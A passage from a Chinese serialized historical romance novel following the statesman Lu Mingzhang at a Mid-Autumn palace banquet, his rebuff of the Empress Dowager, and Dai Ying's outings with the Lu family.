那个时候,大衍最怕的就是开战,因为一旦开战就意味着割地赔款。
直到后来陆铭章执管军政,坐上枢院的头把交椅,这种一面倒的败绩才开始转变。
犹记得大衍同罗扶的那一战,大衍胜了,虽是胜得艰难,但它是一个点,一个大衍打翻身仗的转折。
举国上下欢呼。
当年,在军士们于前线拼死捕杀之时,作为枢密使的陆铭章在后方并不轻松。
首先与前线统帅制定并协调作战布局。
作战中要确保军兵运输,征调、训练,保兵力不断。
最重要的还有粮草、军械供给和财政支持,更要掌控全局态势,获取情报,从而分析传递。
总之,军事后勤,战略协调,**维稳面面需顾到并调节好。
而陆铭章便是众军在前线可以放手一搏的最根本保证,这也是为何,他在大衍有如此大的威慑力。
如今,陆铭章将陈年之事提及,全场噤声,更有老臣面露痛色。
众武将体内热血翻涌如江潮,以陆铭章为首,只要他在,武将的荣耀和利益就不会被侵蚀。
余信面上再也维持不住和气的笑,气得胡须吹起:“陆枢密!此乃中秋佳宴,何必提及此等伤心旧事,惊扰圣驾!”
此时,一直未曾开口的赵太后,出声道:“无妨,陆相也是居安思危,为我大衍尽心着想。”
说罢,一双明亮的双目看向陆铭章。
陆铭章端坐,向小皇帝拱手再行一礼。
“陛下,非是臣欲扫雅兴,实乃国需整军以御外,宰相称加强边备为“徒耗国力”,臣不敢苟同。”
陆铭章话不带歇,一连道出。
“敢问宰相,是每年投入些许钱粮于边防,以保社稷安泰代价大?还是待敌寇破关而入,生灵涂炭,届时再倾举国之力御敌,代价更大?”
“‘不尽知用兵之害者,则不能尽知用兵之利也’宰相只见用兵之‘害’,却不见备战之‘利’,岂非一叶障目?”
余信被陆铭章一连诘问,逼得语气打结:“你……老夫并非不言兵,而是主张量力而行!如今国库……”
不待他说完,陆铭章截断其话语,字字清越,斩钉截铁,即是对着余信,也是对着在场众人。
“国库收支,自有户部详录,下官所为,皆在枢密院权责之内,所用款项,笔笔有踪,且未超支用度一分一毫,若宰相疑下官滥用,尽可调阅核查,若因噎废食,为省些许钱粮致使边关有失,此责,宰相可愿与下官共担?!”
余信哪敢应这个话,不仅他不敢,连同他那一派,无一人敢吱声,气氛凝滞。
这份寂然已说明了一切。
此时,桌上已叠满珍馐,美酿,余信是没有胃口再吃了,肚子撑胀,喉管哼沉。
此时,陆铭章起身,向上揖拜:“臣启陛下。”说着又看向在场众官人,“诸位同僚。”
“臣一时激愤,言语若有冲撞,还望海涵,只是边关安危,关系社稷存亡,既在其位,不敢不谋其政,不敢不竭其忠,愿以此杯,敬陛下,愿我朝山河永固。”
小皇帝眼中生亮,看向陆铭章的眼神不似看一个臣子,更像是子弟看师父,尊敬中带着一丝说不清的羡慕。
安静中,赵太后从旁清了清嗓,小皇帝反应过来。
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“两位大人为我大衍江山如此殚精竭虑,一者怀仁,一者持锐,甚好,甚好。”
说罢,举杯,众臣起身,共举,饮之,再入座。
同两位臣子的激辩相比,显然,大衍朝这位年幼皇帝的总结显得有些单薄无力,更像在和稀泥。
场上众官形成鲜明对比。
余信一派,寡淡沉闷地喝着酒,默不出声,陆铭章一派则志得意满,满面光彩。
宫宴继续,歌舞再起,园中的舞姬在月光下翩翩起舞,水袖翻飞,与园中的景致相映成趣。
陆铭章叩了叩案几,立于身后的宫婢忙上前斟酒,他执杯饮下,忽略掉上首投来的那道视线,只作不知。
皇帝年幼,不能夜宴太晚,宫宴不过走个形式。
侍人高唱道:“宴毕,圣驾回銮——”
百官迅速离席,垂手躬身而立。
待皇帝同太后起驾,侍人再次高唱:“百官——跪送——”
所有官员齐齐跪下,俯首叩拜,齐声道:“恭送陛下,恭送太后娘娘。”
直到圣驾仪仗完全离开视线,方依序默默起身,逐次退出御园。
园外的夜风带着凉意,吹动着众人的衣袍,宫灯在廊下轻轻摇晃,将人影拉得很长。
远处的宫墙上,巡逻的侍卫举着火把,火光在夜色中明明灭灭。
看着散去的众人,陆铭章侧头问向身边宫婢:“什么时候了?”
宫婢躬身答道:“回禀大人,正是戌时中段。”
陆铭章正待举步朝外行去,三衙将领举杯围了过来。
“适才多亏大人,不然吾等又吃一记闷亏。”
陆铭章颔首道:“你们只管尽职,陛下自有断定。”
众将称是。
其中一人说道:“宫宴散后,大人不若随吾等于襄楼看民间献艺?听说此次三大楼子的行首排了新节目,有些新巧,与往年不同。”
宫宴散得早,大多官员出了皇宫,会去提前订好的雅座,赏瓦舍勾栏的表演。
另一人见状插话道:“说什么胡话,咱们大人不好这些。”
陆铭章没说什么,正欲同几人一道离去,谁知刚走没几步,一个声音叫住了他。
转头去看,原来是皇帝身边的大宫监,荣禄。
“宫监有何事?”陆铭章问道。
荣禄躬身道:“太后传召,还请大人随老奴走一趟。”
陆铭章低下眼,复又抬起:“请宫监引路。”
荣禄在前,陆铭章落后半步,往宝宁殿行去。
两侧宫墙高耸,墙头偶尔可见几株枯草在风中摇曳,远处的钟楼传来报时的鸣响,在夜色中回荡。
行过一程,到了一座华靡的宫殿前,殿檐下垂挂着高亮灯笼,殿前侍立两排宫婢,垂手默立。
殿内透出的暖光,与殿外的清冷形成鲜明对比。
陆铭章抬眼看去,牌匾上“宝宁殿”三个大字,正是赵太后的殿宇。
“太后已在殿中久候,大人请移步。”荣禄躬身示意。
陆铭章拾级而上,走向殿中。
大宫监荣禄随在侧,在陆铭章入到殿中后,无声无息地阖上殿门,双手合在身前,侍于门外……
第58章 你舍不下我
宝宁殿内,熏香袅袅,暖意袭人,烛台高擎,将室内照得通明,殿角的青铜兽炉中升起缕缕青烟,在烛光中缓缓盘旋。
光洁的地砖透冷,映出没有温度的烛晕,殿中陈置顶级黑檀木制的木椅、桌、榻。
妃榻上铺着银红缎子褥垫,榻边设有高几,椅扶俱搭着椅搭。
“啪”的,烛芯哔波一声。
陆铭章淡淡地扫了一眼,宽敞奢华的屋室,空静静的。
在这份静谧中,一个影儿缓缓从后靠了过来,贴上他的后背,柔软的臂膀环上他的腰,发出一声绵长的呢喃。
“晏清……”
陆铭章面上没有过多表情,目光落在那双环合于他腰际的玉臂上。
“今日中秋,你多陪陪我,好不好?”
赵映安将脸缓缓偎上他的后背,在他的朝袍上轻轻地蹭了蹭。
陆铭章伸出手,握住那一截腕子,拉开,将人带离,自己再后退一步,躬身垂首。
“不知太后召臣前来,有何要事?”
赵映安僵在那里,腮上的胭脂都掩不住那层从深处泛起来的惨白,眼前的女子,不再是夜宴上身着华丽宫装的威仪妇人。
只见其一身蜜合色交领寝衣,领间阔着,露出藕色抹胸,胸口的隆起随着呼吸起伏,腰间松懒的银红丝绦仿佛随时会散开。
赵映安看着眼前的男子,心里又酸又涩,两汪眼泪滚了下来,颤着唇说道:“原来……你待我也可以这般无情……”
陆铭章不语。
赵太后又悲凉地笑了一声:“既然无情,为何要如此卖力护我母子?!你心里到底是放不下我的,对不对?”
先帝早逝,留下他们孤儿寡母,飘摇于深宫之中,朝堂之上,暗流汹涌,人心叵测,宫墙之外,强敌环伺,虎视眈眈。
大厦将倾之际,是他以身为柱,为他们母子撑起了将倾的天下,挡下所有。
“身为臣子,尽忠乃人臣本分,且先帝临终托付,委臣以顾命之重,臣奉诏于心,不敢有忘。”陆铭章仍是谦恭的姿态。
赵映安垂着双臂,宽大的绢袖几欲垂到地面,她往前进一步,陆铭章便往后让一步。
赵映安娇喝一声:“本殿命你不许避让!”
陆铭章便默然地立在那里,微垂着眼。
她靠近他,将手搁到他温热的胸上,又将额头缓缓抵了上去:“你还是在怪我,在怨我,当年……”
“臣,不敢。”
赵映安不知是哭还是笑:“你陆铭章还有不敢的?”说着抬起一张梨花带雨的脸,指尖轻轻触碰上他的额角,“你这副温润皮囊下,藏的才是真正的铁石心肠……”
指尖游走到他的眉眼间,喃喃道:“你这双眼,看谁都无情,看谁都慈悲。”
说罢收回手,往后退开。
“这世上没人比我更了解你,也没有人比你更了解我,纵使你不愿承认,可我知道,你舍不下我,不论过去多少年……”
这话不知是说给对面之人听,还是说给自己听,然而,无论她说什么,那人始终没有任何回应。
“退下罢,本殿乏了。”
陆铭章躬身应是,转身出了宝宁殿,立于门外的荣禄立时让宫人在前提灯引路。
先时,陆铭章的脚步还正常,到后面步子迈得大了,步调加快,袍裾随风扬起。
提灯的宫人们不得不小跑起来。
……
陆家众人用过丰盛的晚宴,年轻一辈陪在三位老夫人跟前坐了一会儿,三房的袁老夫人身弱,又上了年纪,坐不多一会儿,辞了去。
曹氏完全为了应景,毕竟是中秋这等意寓团圆的节日,这才出了桂兰院,往上房来。
袁老夫人走后,她也找事故离开了。
陆老夫人席间喝了几盅酒,又听了几支曲儿,这会儿也起了乏,要入到后房休息。
难得今年中秋,自家儿子在襄楼包了雅座,方便族中小辈们看瓦舍演艺,于是打发他们各自散去,自去耍闹。
戴缨同陆溪儿一道出了上房,当然了,手上还牵着一个小陆崇,三人于府门前一同登上马车。
“姐姐,我长这么大,还没看过瓦舍演艺。”小陆崇说道。
戴缨笑道:“小大官,你如今才五岁多,以后机会还多着呢。”
小陆崇抓着戴缨的手咯咯笑。
陆溪儿揭起车帘,一双眼往前探看:“还好,还好,我听这声音,只有人声嘈闹,还未起乐,咱们没来晚。”
戴缨比陆溪儿更在意时辰,府中晚宴时,她就不住地问仆从时间,所以她知道这会儿演艺还未开始,但也快了。
苏小小的要求就是今晚一定要看到陆铭章,只要他到场就成,只要陆铭章出现,自有人通知她,她便会穿上月光纱。
正想着,马车停下,戴缨几人下了马车,一眼看去,襄楼前灯火如昼,香车宝马不断,车上下来之人,皆来自权贵之家,在豪奴丽婢的围簇中上了楼。
从后赶来的陆婉儿走到戴缨跟前,睨了一眼,眼神轻蔑:“这襄楼可不是有钱就能定到雅座的。”
话里话外嘲弄戴缨的一身铜臭,就算再有钱,没有帖子也不够格入襄楼。
若是平时,戴缨听这话虽不至于恼怒,却也不顺耳,毕竟不是好话,就是个苍蝇在耳边嗡嗡,也烦不是?
可今日,她心里莫名生出一点点恶趣,和她自己都不愿承认的小得意。
这份得意来自陆铭章对她的关照。
可是很快,她将这份不实的心绪压下,因为内心始终有个声音警醒她,只要越界忘形,这个声音便会将她唤醒,拉回现实。
正在思忖时,陆溪儿的声音响起:“忒讨厌,中秋节庆她那张嘴也不留口德,看她能得意到几时。”
戴缨看去,陆婉儿同谢珍已进到楼里,随后,戴缨同陆溪儿也进入楼里。
这襄楼通共五层高,视野最佳的位置只在二层和三层,而陆铭章包下了整个三层,供族中亲眷赏乐。
楼里布置雅韵,不论是挂墙字画还是古瓶,皆不是凡品,就连那张开的屏风,垂挂的幕帘,也是稀罕之物。
就拿高几上的花瓶来说,很可能世上仅此一件,脆碎了,拿钱也买不来。
楼栏不高,以免遮挡视物,阔大的空间用大小帷屏隔开,每间雅室正正好观得楼下台
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上的情形。
戴缨坐于椅间,旁边摆着高几,几上放着茶点和果盘,以及各类精致小食。
楼下的台子搭建的宽整阔大,台上光亮炫目,台正中的半空,结着彩纱,彩纱在中央结成花,绸绳往外延伸出去,没入昏暗的光线中。
台下人头攒动,有老有少,有男有女,个个兴头十足,节目还未开始,都面带笑容,像是已看了一场精彩的节目。
陆溪儿和小陆崇在戴缨耳边嘁嘁喳喳。
戴缨通没听进耳中,一双眼只是往下探着,寻着,盼着那人快出现。
不知是为着同苏小小的约定或是什么模糊的心思。
此时,台下一声金锣响,台子开始上人,先是瓦舍人演艺,先是百戏作为热场,走索绳、舞飞刀、吐火、吞剑等。
这打头阵的节目立马调动了台下人们的热情,纷纷呼喝叫好,不时爆起掌声,气氛一下就被带动。
下一场,说唱宫调,以多种腔曲讲述故事,声情演绎,台下又安静一片。
戴缨的心思全不在节目上,却听旁边响起啜泣声,转头一看,陆溪儿拿着帕子不住地拭泪,又另拿一条巾帕擤鼻子。
一旁的小陆崇羞脸道:“二姐这么大的人还哭,我就不哭。”
陆溪儿丢开帕子,鼻塞声重道:“你看得懂么。”
继而,说唱宫调到了尾声,又是下一个节目。
众人一面看,一面等着重头戏,而重头戏自然放在最后,压轴。
那便是三大青楼行首同台演艺,既是合作,亦是竞争。
“你看什么呢?”陆溪儿调整好神气。
戴缨眼睛仍看着楼下,说道:“看节目……”
“我怎么觉着你不是在看节目,倒像在寻什么人似的。”陆溪儿狐疑道。
陆崇弯起眼,捂嘴笑道:“我知道!我知道姐姐在寻什么。”
陆溪儿点了点陆崇的头:“你又知道了。”
“我就是知道,姐姐在等人。”小陆崇转头看向戴缨,问,“是不是?”
戴缨张了张嘴,正要否认,陆溪儿却抢问道:“等什么人?”
小陆崇扬声道:“等我爹爹,我爹爹参加宫宴,姐姐在盼我爹呢。”
戴缨把脸一红,看了一眼左右,还好有矮矮的帷屏隔着,众人也都注意着楼下的节目。
“崇哥儿,这话不兴乱说,知道么?”戴缨摇手道。
陆崇瘪起嘴:“为什么不能说?我想姐姐当我娘亲。”
陆溪儿乐了一声,说道:“哥儿,这话可不由你说了算,这得你爹,也就是我小叔说了才算数,知道不知道?”
陆溪儿说出这话,一来,怕自家小弟年纪小,口舌惹祸,二来,也怕戴缨当真,对她未尝是件好事。
谁知陆崇激动地踩着椅衬起身,又坐下,说道:“二姐知道什么,我爹爹是同意的,他还问我,想不想让戴姐姐做娘亲。”
这一下叫陆溪儿瞠目愕然,不知该作如何反应,连带着脸也红了。
戴缨正要拉陆崇到自己跟前,嘱咐他不能乱说,下面传来喧腾的异动,众人去看,就见军兵排道,一顶八抬大轿徐行而来……
第59章 为何对我和别人不一样
襄楼下才艺不断,喝彩声此起彼伏,戴缨却没关注,她的一双眼盼候着那人。
看台后的帷幕内,同样也有一人盼等着,那人便是苏小小。
苏小小的想法很简单,就是想让陆铭章知道她,看见她,今夜,她要以最美的方式出场,进入他的视线。
这时,襄楼下动静渐大,最先看到紫色帷帐轿辇的是戴缨,还有给苏小小通报的小厮。
苏小小快速起身,走到帷幕边,挑起纱幕往外看,就见人群散开,八抬紫帷大轿缓缓行来,落到襄楼前。
在军兵围护中,一个身着朱紫朝服的男子下了轿,原本寂静的场面,更静了。
襄楼中另几处的雅客们将这一幕看在眼里。
“难得,难得,陆相居然也来襄楼。”年轻男子转头看向身边胡须花白之人,“父亲,您看。”
这胡须花白之人正是宫宴上同陆铭章争锋的宰相余信。
余信眯起略略浑浊的眼,拈髯轻笑一声:“他什么时候改了性儿?从前比我这老人还像老人,今年倒来凑趣。”
另一处,几个身姿魁伟的男子瞠目不能言。
“爷哟!没瞧错罢,那是咱们院首?”
说话之人叫徐盛,现任步军都指挥使,也是三衙步军司的长官。
今晚在宫宴上,他最先开口邀他们这位上司往襄楼观赏演艺。
这时,另一人说道:“真是咱们院首,应是来陪家中亲眷的。”
这人叫李贺,同徐盛一样,也是陆铭章的直系下属,三衙马军司之长,马军都指挥使。
陆铭章这人出了名的肃板,从不见他逛楼子或听曲儿,今年他一现身,引起不少人纳罕。
众人懒懒的兴致在这一瞬被吊起。
楼道响起脚步声,每一声都踏在戴缨的心上,没由来的让她紧张,他真来了。
“这可少见,我大伯居然也来了。”陆溪儿的声音从旁响起。
戴缨听那脚步声上到他们这一层,不过并没走过来,而是往另一个方向响去。
不管如何,他人总算来了,她应下的事有了交代,紧绷的心终于松下,这才将注意放到精彩的表演上。
楼下的演艺接近尾声,也到了最后的压轴节目,三大青楼行首同台竞艺。
一方弹奏,一方清歌,一方起舞。
三声金锣连响,原本喧闹的场面逐渐安静下来。
蓦地,台上十几盏灯火齐亮,显出两座塔台,塔台之上立了两人,彩衣翩翩,丝绦飘扬风里。
连周围的空气都是香的。
一个凭栏而坐,将琵琶横于膝上,在众人没反应过来时,玉指轻舒,高低音符如流水般倾泻,回荡于墨蓝的天际下。
一个娉婷而立,面掩轻纱,越是如此,越是让人想揭开那细闪的轻纱,看看下面是何等的花貌。
曲乐开奏,清歌婉扬,浸到了人们心里,不得不叹,此乐如同天音。
然而,丽春院的苏小小呢?说好的三大青楼行首,怎么少了一人。
“咦?这是什么?”有人摊开手,看着掌间的东西发问。
另一人从前一人的肩头拈起一物,看了看,说道:“花瓣?”
零星的花瓣自天而降,众人纷纷抬头,就在这时,一女子从天外飞来,竟是天仙降凡尘。
女仙周身如烟如雾,在月光之下,华光流转,众人定目去看,才看清周身萦绕的不是烟雾,而是一件粉色纱衣。
而这人正是丽春院的苏小小。
只见她高盘乌髻,身着轻薄粉衣,彩带飘飐于空中,一手吊着绸带,从上滑向台中央的彩结。
另一只手提着花篮,飞舞空中时,花瓣撒落,被风一吹,漫天飞舞。
在场众人无不惊呼,连同襄楼内的权贵们也道一声,好一个天女散花。
苏小小轻缓缓落到台上,舞娘们已就位,声乐中,翩跹起舞,有了这个惊艳的开场,塔台上的另两人不知不觉中成了她的陪衬。
只见苏小小玉足轻盈,柳腰款摆,云袖时而上抛,时而低拂,裙裾飘曳。
而苏小小的一双眼始终看向襄楼的某一处,她不知那人坐在何处,可只要她看向那个方向,那位大人就能感受到。
场下众人看得兴兴然,楼里坐的权贵们闲闲地评头论足。
戴缨嘴角带笑,得意中跷起腿,裙下的脚有一下无一下地跟着乐曲点着。
别人都在赏舞,只有她在赏舞的同时,还惦记着生意,稳了,稳了,有苏小小这一场舞,她绸缎庄的名声很快响遍京都。
正在这时,一个侍人走了来。
“戴娘子,楼下有人找。”
戴缨问道:“谁找我?”
“说是您店里的伙计,姓燕。”
戴缨怔了一瞬,反应过来,有些耳热。
陆溪儿听说,嗔怪道:“什么伙计这么没有眼力,节庆呢,还找事情?”
“想是遇到一些事情,我去看看。”戴缨说道。
陆溪儿扯住她,问道:“马上就散了,一会儿人多,寻不着如何是好。”
戴缨想了想,说道:“不必等我,你们先回。”
陆溪儿不再说什么。
戴缨随侍人往一个方向去了。
穿过外堂,往里行去,行到一扇门前,侍人无声地退下,戴缨手心起了薄汗,伸出手,缓缓推开门,屋里有些许微光,不如外间亮堂。
她往屋中快速一扫,延伸出的平台处,立着一人,身形削直,侧面映着台下的光亮。
似是有所察觉,那人回首看向她,然后抬起手招了招。
戴缨捉着裙裾走了过去,立于他的身侧,闻到淡淡酒气,两人就这么无声地看着楼下的舞曲。
虽然立于延伸的楼台,因外界光亮太过,他们所立的这处昏暗,很隐秘,叫人看不清明。
戴缨耐不住安静,偏陆铭章又是一个不响的人,没办法,她只能找话说。
“大人才从宫中出来?”
陆铭章点了点头:“是。”
一个字完毕,再次安静下来,只有台上高高低低的乐调。
“大人喝酒了?”戴缨又问。
陆铭章转头看向戴缨,说道:“喝了,但没喝好,不若你陪我小酌几杯?”
戴缨很自然地同他对上视线,发现他的嘴角带了一丝笑意,浅得让她有些怀疑,是在笑罢。
“可我酒量浅,只怕不能陪大人尽兴
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“不打紧,你斟一杯放着,可随意。”
陆铭章征询的口吻让戴缨点头应下。
“那阿缨就陪大人浅饮几杯?”
陆铭章“嗯”了一声。
席面摆在延伸的平台处,襄楼的酒菜上得很快,对客人极高的筛选之下,是极致的服务。
碗箸摆放好,戴缨待陆铭章执筷,她才执起筷箸。
没有侍女,那么斟酒的任务自然落到她的头上,于是先给对方斟了一杯,又替自己斟了一杯。
酒香,菜香四溢。
真要说来,她还是很感激陆铭章。
首先,她能回平谷,托他点头,到了青城还特意着人送她回平谷。
虽说那一趟归家并不愉快,这是她自己的问题,同他没有任何关系,他给她的尽是帮衬。
后来她身陷囹圄,又是得了他的援手才脱身,想到这里,那小衙内的话再次浮现于脑中。
就在戴缨胡思乱想之时,陆铭章的酒盏已空,于是再次替他续酒,落后端起酒杯,敬向对面。
“阿缨在这里敬大人一杯。”
陆铭章并不执杯,而是反问道:“敬我什么?”
戴缨想了想,说道:“平谷时多亏大人,我才免遭欺辱。”
“就为这个?”陆铭章端起酒盏。
戴缨心念一动,又道:“还有,阿缨能回平谷,也托大人的福。”
说罢,先干为敬。
陆铭章将目光落到她的脸上:“既然你承了这番人情,我可否提个要求?”
戴缨放下手里的酒盏,抽出绢帕拭唇上的酒渍,听了陆铭章的话语,又见他直直地看向自己,生出一点点不自在。
“什么?”
陆铭章看着对面空了的酒盏,亲自替她斟上一杯,唬得戴缨就要起身,却被陆铭章阻下。
“我的请求就是……上次答应你的事可否作罢?”
戴缨眨了眨眼,上次她在他书房,央求日后她若有难,他救她一命,他应下了。
“不成。”戴缨想也不想,下意识开口道。
“哦?怎么不成?”陆铭章声调微扬,“算起来,此次平谷我已救过你一命,难道不作数?”
“不作数。”
“为何?”
因为一时不知该如何作答,戴缨拿起手边的酒盏,如同喝茶一般,慢慢品啜,不知不觉又一杯酒下肚,过后,叽哝一声:“这次是凑巧,凑巧救的,不算。”
陆铭章轻笑出声:“那我要说不是凑巧呢?专为你去的。”
她的一颗心就这么漏跳一拍,然后垂下颈儿:“大人莫要玩笑了。”
陆铭章点了点头,不再多说什么,自顾自喝了一杯,然后转头看向楼下,声音淡淡的。
“那便当凑巧罢。”
天空一声炸响,五彩绚丽的烟花于夜空绽放,同时也把刚才的话音压了下去。
此时表演已经结束,人群已散去,只是仍很热闹,不少人提着兔儿灯,在下面游转。
烟花过后,再次安静下来,戴缨缓缓抬起头:“可否问大人一个问题?”
陆铭章转过头“嗯”了一声。
“大人对我和别人不一样,这是为何……”
第61章 既是奉承,也是娇嗔
戴缨回看向陆铭章。
她原是来道歉,可陆铭章反问她,他若仍在气恼,她待如何,于是她说,先前央他关键时候,给她一次活命机会的话作废。
他对她总有一种不可言说的纵容,而她对他就是自然而然地有恃无恐。
然而,戴缨不曾料到,陆铭章听说后竟点了点头。
“好,那么我应下你的话,收回。”
戴缨傻了,真……真的收回?于是一改刚才娇持的态度,见陆铭章手边的茶杯空了,赶紧给他续上,并谄笑一声。
“叔父……”
“叫叔父也没用,先前以为你是个没有刚性之人,只知眼前利,今日你这番态度,方知轻看了你。”
陆铭章说着,端起茶盏:“来,叔父以茶代酒,向你赔个不是。”
戴缨一脸愕怔,脑子还懵着,手已端起茶盏,将茶水饮下。
“这茶的味道如何?”陆铭章问道。
戴缨扯出一抹笑:“有些苦……”
说罢,找了个事故,匆匆离去,形容有些狼狈。
陆铭章又给自己续了一杯,将茶盏端到嘴边时,忍不住笑出声。
……
这日,天高气爽,陆家众人起了游兴,决意去郊外的庄子。
清晨时分,一层薄纱似的雾气尚未散尽,空气里浸透了清凉,像含着薄荷般的凉意,吸入一口,顿觉神清气爽。
戴缨今日穿了一身鹂黄底色的掐腰长衫,颜色清嫩,更衬得她腰肢纤纤,发间簪了一枚素银簪子并几朵细小的珍珠头花,简净中自有一番精致。
临行前,孔嬷嬷细心,特特嘱咐归雁另备了两件衣裳:一件是贴身的软罗内衫以备更换,另一件则是厚实的斗篷,用以抵御寒气。
归雁应下,遂拿了一件灰狐毛边斗篷给戴缨披上,软茸毛边簇着,越发显得秀脸精致。
陆府门前,大大小小的马车已停当,戴缨被侍人引至一辆马车前,抬眼环顾,长长的车驾,排成列,前后护卫跟随,队前几名锦袍束发男子高坐马上。
她最先看见的是陆铭章,一身雪青色劲装,小高领,衣侧岔口开得很高,脚踏长靴,踩着马镫,同平时的清雅不同,展露出一种陌生的、带着力量感的英挺。
他的左侧是陆铭川,并陆家其他一众小辈,右侧是谢容。
戴缨收回眼,踏着踩凳入到车里。
“我可最怕冷了。”陆溪儿握着手炉说道。
车里燃着小烘炉,比外面暖和。
戴缨褪去银狐斗篷,拿起一旁的暖炉烘手。
她这人,畏热不畏寒,冬日里,别的女子里三层外三层,捂得严实,她却穿不得。
一来,燥热,二来,繁重,还是更喜轻省自在一些。
陆溪儿见戴缨衣着轻便,惊问道:“不冷么?”
戴缨笑着摇了摇头。
马车启行,往城外庄子行去。
城外,树木杂丛褪下绿意,换上一层不鲜亮的颜色,同大地相呼应,林木间寒鸦嚷嚷。
行了一程,车马停下,众人下了马车。
陆家的这处庄园依着山嶂,枕着溪流。
放眼看去,高山矗立,山间林木的绿意没有完全褪去,颜色更丰富,绿的、黄的、红褚,杂糅着。
庄子外已有仆从迎候。
众人进了庄子,稍作休整,然后出了庄子,走到宽广的空地上,下人们牵来马匹。
戴缨看着眼前的高头骏马,踟蹰不前,她不会骑马,戴万昌也没请师父教导过她,儿时尽拨弄算盘了。
再环眼一看,不说陆家姐妹,就连谢珍都能翻身上马。
“不会?”
一道声音从旁响起,抬眼去看,不知何时,陆铭章纵马到她跟前。
戴缨“嗯”了一声。
“别怕,我叫长安给你牵马。”
戴缨呆了呆,长安可是他的亲随,在府里除了他和老夫人,几乎没人能使唤。
在平谷,她是见识过长安的身手,迅猛得几乎只见残影,就在戴缨思忖时,长安从旁笑道:“小人牵马,娘子可放心。”
“不敢,自然信得过安管事,有劳了。”
说着,不再犹豫,在丫鬟的搀扶中翻上马背,先时她还有点紧张,见长安在前缓缓牵引,放松下来。
“大人不去狩猎么?”戴缨侧头看向并骑的陆铭章。
秋冬时节,许多高门大户都会携族人远郊狩猎。
这个季节林木稀疏凋零,视野比春夏要好,更易捕获,且秋冬的动物为了御寒,皮**最为丰厚、光泽度好。
陆铭章手按辔绳,答得云淡风轻:“不会。”
戴缨以为自己听错了,这坦然的腔子,不知道的还以为他说的是“我会”。
“大人不会狩猎?”
君子六艺,礼、乐、射、御、书、数,陆铭章居然说他不会?
“很稀奇?”陆铭章说道。
“在我看来,大人该是无所不能。”戴缨语音清软,话里浸着恰到好处的甜,既像奉承,又似娇嗔。
陆铭章看向她,明知她存心讨好,心里却很受用,那张灰狐茸围簇的秀脸红扑扑的,在过分莹白的脸上,像是两团没有搽匀的胭脂。
虽是披了一件斗篷,却略显单薄,想问她冷否,在喉头滚了一滚,终究还是咽了回去。
“傻话,世上哪有什么无所不能的人,我这双手,所能驾驭的,也不过笔管一支罢了,正所谓百无一用是书生。”
“大人过谦了。”戴缨认真道,“您笔下乾坤,抵得过万千利刃。”
正说着,前方纵来一人一马,行到跟前勒马骤停。
“父亲!你看!”
陆婉儿一袭红衣骑装,发尾高盘,手上拎着一只肥硕的杂**兔。
一手调动缰绳挤到陆铭章和戴缨中间,说道:“安叔,你牵远些,挤着了。”
长安笑了笑,将戴缨所乘的黑马引开,空出地方。
陆铭章看向陆婉儿手里的野兔,点头道:“不错,骑射有长进,比去年强。”
陆婉儿脸上一红,嗔道:“父亲这是揶揄我呢,去**莫再提起。”
去年,她不仅没狩猎到任何野物,身下马受惊,还将她掀翻跌落。
戴缨从旁艳羡地看着,她虽厌恶陆婉儿,然而陆铭章对陆婉儿是真的好,虽不是亲身,可同亲生的女儿没两样。
陆婉
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儿心仪谢容,陆铭章便让人打探谢容底细,在不满意的情况下,抵不住陆婉儿的一意孤行,然后排除障碍,为她达成心愿。
之后有意提携谢容,为得什么,无非为了陆婉儿婚后有个更体面的身份。
反观她,同戴万昌之间,父女情肯定是有的,但不多,一旦面临抉择时,她就成了秤盘上的砝码,变得无足轻重了。
人和人真是不能比,这就是命。
到了中午,狩猎结束,庄上备好饭食。
分里外两间,中间用帷屏隔着,外间是男子座席,里间是女子座席。
小陆崇坐在戴缨身侧,拉了拉戴缨衣袖,俏声道:“姐姐,我父亲捕到许多好物,其中有一对银狐,他说制成手笼,一个给你,一个给我。”
戴缨下意识往外间去看,帷幕上只映着晃动的人影。
陆铭川对她的心思,起先她并不清楚,后来模模糊糊感知到,一直持着回避的态度,有时,她甚至觉得小陆崇说的话有他在里面授意。
像是在探她的口风。
“崇哥儿,那东西太珍贵,你留着。”戴缨说道。
“有两个呢,姐姐干嘛不要。”小陆崇又多说了一句,“爹爹说了,以后有好东西,我一份,姐姐一份。”
戴缨心里被什么牵动,继而道:“哥儿,这不合适,不若将另一个给莲心?”
莲心是陆铭川的通房丫头,日后若是有了子嗣,会被抬起来做姨娘。
“给她做什么,她一个奴才。”陆崇叽哝一句。
用**,男子们喝茶、下棋或是骑马,女子多半回屋小憩。
戴缨用**,欲往后园的轩子行去,突见前面一个人影闪过,虽然很快,但她还是看清了,那人是谢珍。
她不往后园,反去前面做什么,心里这么想着便跟了上去。
谢珍拿着巾帕,掩住脸,走入一道月洞门。
戴缨越发好奇,蹑着脚步,悄不声儿地将身子掩在墙影下,探眼去看。
院子里有一间屋室,大门紧闭,窗扇开了半面,屋前坐着一浅身女子,女子扎着鬟髻,瓜子小脸,唇上抹着胭脂。
这人戴缨认识,正是陆铭川的通房,莲心。
那莲心见了谢珍,站起身,两人挨近,不知低声说了什么,就见谢珍捉裙往阶上走去,推门而入。
看到这里,戴缨还有什么不明白的。
莲心是陆铭川的丫头,既然她在这里侍候,那屋里歇宿之人不用想,一定是陆铭川。
真是想不到,谢珍仍未死心。
先时,见崇哥儿同她亲近,她一转刻薄态度,殷勤地提着吃食往揽月居跑,不过是想讨好儿子,得以接近老子,孰料行不通。
为这事,还特意回了一趟谢府。
从谢府回陆府后,戴缨见她不再来揽月居,也没了别的动静,以为她歇了这份心。
谁知她是换了对象,把主意打到陆铭川的身边人上。
也不知她给了莲心什么好处,或是许了什么承诺,就眼前的境况来看,莲心在帮她。
谢珍进了陆铭川的房间,哪怕什么事都没发生,也是黄泥掉裤裆,不是屎也是屎……
第62章 找个由头将她留下
说不清,道不明。
这正是谢珍要达到的目的。
没有外人在场,孤男寡女共处一室,谢珍只需一声叫唤,那么陆铭川正妻之位就到手了。
谢珍这是打算豁出所有啊,连戴万如的话都不顾了。
……
谢珍一进到屋里便嗅到淡淡的酒息,
这酒味吸进她的口鼻中,让她眩晕,心跳加速,不饮而醉。
她将目光从自己脚下往卧房延伸,那里隔着一扇落地罩,不过几十步的距离,是她成为陆三爷之妻的距离。
于是轻着手脚往里走去,然而心上的跳动比脚声更重。
落地罩后的床榻,纱帐半掩,一人横卧着,上半身掩于帐后,只观得一双红绫裤下健长的双腿。
腿上套着玄色翘头长靴,宽大的裤腿掖于靴筒,一条腿踩着脚踏,一条腿屈起,踩着床沿。
陆铭川今日猎了好东西,其中有一对皮**丰美的银狐,射杀时,格外注意,为了不伤及皮**,照着那小畜生的一对眼睛射杀。
打算让人制成袖笼,给那丫头冬天捂手。
